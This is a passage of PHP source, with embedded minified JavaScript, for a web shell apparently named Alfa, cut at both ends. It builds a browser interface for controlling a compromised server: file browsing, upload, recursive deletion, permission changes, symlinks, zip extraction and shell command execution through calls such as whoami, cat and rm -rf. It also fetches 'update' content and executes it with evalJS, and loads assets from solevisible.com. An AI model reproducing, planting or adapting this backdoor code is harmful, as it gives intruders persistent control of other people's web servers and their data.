.last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php
echo $GLOBALS["cwd"];
?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php
echo $GLOBALS["cwd"];
?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php
echo $_SERVER["DOCUMENT_ROOT"];
?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php
echo "true";
?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}
}
if (!function_exists("posix_getpwuid") && strpos(@ini_get('disable_functions'), 'posix_getpwuid') === false) {
function posix_getpwuid($p)
{
return false;
}
}
if (!function_exists("posix_getgrgid") && strpos(@ini_get('disable_functions'), 'posix_getgrgid') === false) {
function posix_getgrgid($p)
{
return false;
}
}
function alfaWhich($p)
{
$path = alfaEx('which ' . $p, false, false);
if (!empty($path)) {
return strlen($path);
}
return false;
}
function alfaSize($s)
{
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
function alfaPerms($p)
{
if (($p & 0xc000) == 0xc000) {
$i = 's​';
} elseif (($p & 0xa000) == 0xa000) {
$i = 'l​';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-​';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b​';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd​';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c​';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p​';
} else {
$i = 'u​';
}
$i .= $p & 0x100 ? 'r​' : '-';
$i .= $p & 0x80 ? 'w​' : '-';
$i .= $p & 0x40 ? $p & 0x800 ? 's​' : 'x​' : ($p & 0x800 ? 'S​' : '-');
$i .= $p & 0x20 ? 'r​' : '-';
$i .= $p & 0x10 ? 'w​' : '-';
$i .= $p & 0x8 ? $p & 0x400 ? 's​' : 'x​' : ($p & 0x400 ? 'S​' : '-');
$i .= $p & 0x4 ? 'r​' : '-';
$i .= $p & 0x2 ? 'w​' : '-';
$i .= $p & 0x1 ? $p & 0x200 ? 't​' : 'x​' : ($p & 0x200 ? 'T​' : '-');
return $i;
}
function alfaPermsColor($f, $isbash = false)
{
$class = "";
$num = "";
$human = "";
if ($isbash) {
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
} else {
$num = substr(sprintf('%o', @fileperms($f)), -4);
$human = alfaPerms(@fileperms($f));
if (!@is_readable($f)) {
$class = "main_red_perm";
} elseif (!@is_writable($f)) {
$class = "main_white_perm";
} else {
$class = "main_green_perm";
}
}
return '<span style="font-weight:unset;" class="' . $class . '">' . $num . '</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="' . $class . '">' . $human . '</span>';
}
if (!function_exists("scandir")) {
function scandir($dir)
{
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function reArrayFiles($file_post)
{
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i = 0; $i < $file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi = true, $cache = true)
{
if (isset($_COOKIE["alfa_canruncmd"]) && $cache) {
return true;
}
if (strlen(alfaEx("whoami", false, $cgi)) > 0) {
$_COOKIE["alfa_canruncmd"] = true;
return true;
}
return false;
}
function _alfa_symlink($target, $link)
{
$phpsym = function_exists("symlink");
if ($phpsym) {
@symlink($target, $link);
} else {
alfaEx("ln -s '" . addslashes($target) . "' '" . addslashes($link) . "'");
}
}
function _alfa_file_exists($file, $cgi = true)
{
if (@file_exists($file)) {
return true;
} else {
if (strlen(alfaEx("ls -la '" . addslashes($file) . "'", false, $cgi)) > 0) {
return true;
}
}
return false;
}
function _alfa_file($file, $cgi = true)
{
$array = @file($file);
if (!$array) {
if (strlen(alfaEx("id", false, $cgi)) > 0) {
$data = alfaEx('cat "' . addslashes($file) . '"', false, $cgi);
if (strlen($data) > 0) {
return explode("\n", $data);
} else {
return false;
}
} else {
return false;
}
} else {
return $array;
}
}
function _alfa_is_writable($file)
{
$check = false;
$check = @is_writable($file);
if (!$check) {
if (_alfa_can_runCommand()) {
$check = alfaEx('[ -w "' . trim(addslashes($file)) . '" ] && echo "yes" || echo "no"');
if ($check == "yes") {
$check = true;
} else {
$check = false;
}
}
}
return $check;
}
function _alfa_is_dir($dir, $mode = "-d")
{
$check = false;
$check = @is_dir($dir);
if ($mode == "-e") {
$check = @is_file($dir);
}
if (!$check) {
if (_alfa_can_runCommand()) {
$check = alfaEx('[ "' . trim($mode) . '" "' . trim(addslashes($dir)) . '" ] && echo "yes" || echo "no"');
if ($check == "yes") {
return true;
} else {
return false;
}
}
}
return $check;
}
function _alfa_load_ace_options($base)
{
return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\'' . $base . '\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\'' . $base . '\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\'' . $base . '\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2()
{
alfahead();
AlfaNum(8, 9, 10, 7, 6, 5, 4);
echo "<div style=\"position:relative;\" fm_id=\"1\" id=\"filesman_holder_1\" class=\"ajaxarea filesman-active-content\"><div class=\"header\"></div></div>";
alfaFooter();
}
function copy_paste($c, $s, $d)
{
if (@is_dir($c . $s)) {
@mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
function alfaFilesMan()
{
if (!empty($_COOKIE['alfa_f'])) {
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
}
if (!empty($_POST['alfa1'])) {
switch ($_POST['alfa1']) {
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if ($GLOBALS['glob_chdir_false']) {
$alfa_canruncmd = _alfa_can_runCommand(true, true);
$move_cmd_file = true;
}
if (_alfa_is_writable($GLOBALS['cwd'])) {
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach ($files as $file) {
if ($move_cmd_file && $alfa_canruncmd) {
alfaEx("cat '" . addslashes($file['tmp_name']) . "' > '" . addslashes($_POST["c"] . "/" . $file['name']) . "'");
} else {
if (@move_uploaded_file($file['tmp_name'], $file['name'])) {
$ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($file['name'])) : array("name" => "????");
$gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($file['name'])) : array("name" => "????");
$file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($file['name']) : "????");
$file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($file['name']) : "????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
$file_perm = alfaPermsColor($file['name']);
$file_size = @filesize($file['name']);
$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner . "/" . $file_group);
}
}
}
if (!$move_cmd_file) {
echo json_encode($ret_files);
}
} else {
echo "noperm";
return;
}
if (!$move_cmd_file) {
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if ($GLOBALS['glob_chdir_false']) {
if (_alfa_can_runCommand(true, true)) {
if (_alfa_is_writable($GLOBALS['cwd'])) {
if (!_alfa_is_dir(trim($_POST['alfa2']))) {
alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';mkdir '" . trim(addslashes($_POST['alfa2'])) . "'");
echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
} else {
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
} else {
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
} else {
echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
}
} else {
if (_alfa_is_writable($GLOBALS['cwd'])) {
if (!_alfa_is_dir(trim($_POST['alfa2']))) {
if (!@mkdir(trim($_POST['alfa2']))) {
echo "<script>alfaShowNotification('Can\\'t create new dir !', 'Files manager', 'error');</script>";
} else {
echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
}
} else {
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
} else {
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}
break;
case 'delete':
function deleteDir($path)
{
$path = substr($path, -1) == '/' ? $path : $path . '/';
$dh = @opendir($path);
while (($item = @readdir($dh)) !== false) {
$item = $path . $item;
if (basename($item) == ".." || basename($item) == ".") {
continue;
}
$type = @filetype($item);
if ($type == "dir") {
deleteDir($item);
} else {
@unlink($item);
}
}
@closedir($dh);
@rmdir($path);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $f) {
if ($f == '..') {
continue;
}
$f = rawurldecode($f);
if ($GLOBALS["glob_chdir_false"]) {
if (_alfa_can_runCommand(true, true)) {
alfaEx("rm -rf '" . addslashes($_POST['c'] . '/' . $f) . "'");
}
} else {
alfaEx("rm -rf '" . addslashes($f) . "'", false, false);
if (@is_dir($f)) {
deleteDir($f);
} else {
@unlink($f);
}
}
}
}
if (@is_dir(rawurldecode(@$_POST['alfa2'])) && rawurldecode(@$_POST['alfa2']) != '..') {
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '" . addslashes($_POST['alfa2']) . "'", false, false);
} else {
@unlink(rawurldecode(@$_POST['alfa2']));
}
if ($GLOBALS["glob_chdir_false"]) {
$source = rawurldecode(@$_POST['alfa2']);
if ($source != '..' && !empty($source)) {
if (_alfa_can_runCommand(true, true)) {
alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';rm -rf '" . addslashes($source) . "'");
}
}
}
if (is_array($_POST['f'])) {
return;
}
break;
case 'paste':
if ($_COOKIE['alfa_act'] == 'copy' && isset($_COOKIE['alfa_f'])) {
foreach ($_COOKIE['alfa_f'] as $f) {
copy_paste($_COOKIE['alfa_c'], $f, $GLOBALS['cwd']);
}
} elseif ($_COOKIE['alfa_act'] == 'move' && isset($_COOKIE['alfa_f'])) {
function move_paste($c, $s, $d)
{
if (@is_dir($c . $s)) {
@mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (@is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
foreach ($_COOKIE['alfa_f'] as $f) {
@rename($_COOKIE['alfa_c'] . $f, $GLOBALS['cwd'] . $f);
}
} elseif ($_COOKIE['alfa_act'] == 'zip' && isset($_COOKIE['alfa_f'])) {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
$zipX = "alfa_" . rand(1, 1000) . ".zip";
if ($zip->open($zipX, 1)) {
@chdir($_COOKIE['alfa_c']);
foreach ($_COOKIE['alfa_f'] as $f) {
if ($f == '..') {
continue;
}
if (@is_file($_COOKIE['alfa_c'] . $f)) {
$zip->addFile($_COOKIE['alfa_c'] . $f, $f);
} elseif (@is_dir($_COOKIE['alfa_c'] . $f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
foreach ($iterator as $key => $value) {
$key = str_replace('\\', '/', realpath($key));
if (@is_dir($key)) {
if (in_array(substr($key, strrpos($key, '/') + 1), array('.', '..'))) {
continue;
}
} else {
$zip->addFile($key, $key);
}
}
}
}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> ' . $zipX . ' << is created...');
}
}
} elseif ($_COOKIE['alfa_act'] == 'unzip' && isset($_COOKIE['alfa_f'])) {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['alfa_f'] as $f) {
if ($zip->open($_COOKIE['alfa_c'] . $f)) {
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();
}
}
}
}
unset($_COOKIE['alfa_f']);
break;
default:
if (!empty($_POST['alfa1'])) {
if (in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))) {
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
if (preg_match("#(.*)\\/\\.\\.#", $_POST['c'], $res)) {
$path = explode('/', $res[1]);
array_pop($path);
$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if ($dirContent === false) {
if (_alfa_can_runCommand(true, true)) {
$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
if (!isset($_COOKIE["alfachdir_bash"]) || @(!file_exists($tmp_getdir_path . "/alfacgiapi/getdir.alfa"))) {
